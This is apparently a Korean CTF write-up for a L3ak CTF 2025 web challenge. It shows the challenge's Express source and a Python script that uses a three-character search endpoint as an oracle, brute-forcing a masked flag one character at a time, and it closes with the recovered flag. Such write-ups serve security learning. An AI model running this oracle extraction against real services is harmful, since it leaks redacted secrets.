728x90
반응형
기능 분석

post를 검색할 수 있는 기능이 있다.

근데 3글자만 입력해야한다.

3글자씩 입력하면 해당 글자가 포함되는 게시글을 찾아준다.
취약점 분석
const express = require('express');
const path = require('path');
const app = express();
const FLAG = 'L3AK{t3mp_flag!!}'
const PORT = 3000;
app.use(express.json());
app.use(express.static('public'));
const posts = [
{
id: 1,
title: "Welcome to our blog!",
content: "This is our first post. Welcome everyone!",
author: "admin",
date: "2025-01-15"
},
{
id: 2,
title: "Tech Tips",
content: "Here are some useful technology tips for beginners. Always keep your software updated!",
author: "Some guy out there",
date: "2025-01-20"
},
{
id: 3,
title: "Not the flag?",
content: `Well luckily the content of the flag is hidden so here it is: ${FLAG}`,
author: "admin",
date: "2025-05-13"
},
{
id: 4,
title: "Real flag fr",
content: `Forget that other flag. Here is a flag: L3AK{Bad_bl0g?}`,
author: "L3ak Member",
date: "2025-06-13"
},
{
id: 5,
title: "Did you know?",
content: "This blog post site is pretty dope, right?",
author: "???",
date: "2025-06-20"
},
];
app.get('/', (_, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
app.post('/api/search', (req, res) => {
const { query } = req.body;
if (!query || typeof query !== 'string' || query.length !== 3) {
return res.status(400).json({
error: 'Query must be 3 characters.',
});
}
const matchingPosts = posts
.filter(post =>
post.title.includes(query) ||
post.content.includes(query) ||
post.author.includes(query)
)
.map(post => ({
...post,
content: post.content.replace(FLAG, '*'.repeat(FLAG.length))
}));
res.json({
results: matchingPosts,
count: matchingPosts.length,
query: query
});
});
app.get('/api/posts', (_, res) => {
const publicPosts = posts.map(post => ({
id: post.id,
title: post.title,
content: post.content.replace(FLAG, '*'.repeat(FLAG.length)),
author: post.author,
date: post.date
}));
res.json({
posts: publicPosts,
total: publicPosts.length
});
});
app.use((_, res) => {
res.status(404).json({ error: 'Endpoint not found' });
});
app.listen(PORT, () => {
console.log(`Server running on port ${PORT}`);
});
index.js 파일이다. `/api/search`와 `/api/posts` 쪽을 보면 flag를 `*`로 replace해서 보내고 있다. 다시 말해서, 앞서 확인한 별 표로 된 부분들이 flag인 것이다.
근데 검색 기능을 통해 이 flag를 유추할 수 있다.

위 사진에서 볼 수 있듯이 Not the flag? post에서 `K{L`이라는 문자열을 확인할 수 없다. 즉, 별표 처리된 flag를 이런 식으로 찾아낼 수 있는 것이다.
import requests
chars = list("0123456789?!_}{abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
url = "http://34.134.162.213:17000/api/search"
headers = {
'Content-Type': 'application/json'
}
searchInput = "AK{"
flag="L3AK{"
#L3AK{L3ak1ng_th3_Fl4g??}
while True:
print(f"Current flag: {flag}")
for char in chars:
payload = searchInput[1:] + char
print(f"payload: {payload}")
response = requests.post(url, json={"query": payload}, headers=headers)
print(f"Response: {response.text}")
if "Not the flag?" in response.text:
print(f"Found character: {char}")
flag+= char
searchInput = payload
break
if flag[-1] == '}':
print(f"Flag found: {flag}")
break
위 코드로 flag를 찾았다. 코드를 짤 때 알파벳과 숫자, 특수문자의 위치를 신경써야한다. 알파벳이 앞에 있으면 `th3`가 나오지 않고 `the`가 나오게 돼서 진행이 안된다.

L3AK{L3ak1ng_th3_Fl4g??}
짜잔
728x90
반응형
'분류 전 > CTF' 카테고리의 다른 글
| [L3ak CTF 2025] babyrev 풀이 (1) | 2025.07.16 |
|---|---|
| [L3ak CTF 2025] BrainCalc 풀이 (0) | 2025.07.15 |
| [R3CTF 2025] web-evalgelist 풀이 (3) | 2025.07.13 |
| [cubectf] Legal Snacks 풀이 (1) | 2025.07.08 |
| [IERAE CTF 2025][WEB] Warmdown 풀이 (0) | 2025.06.22 |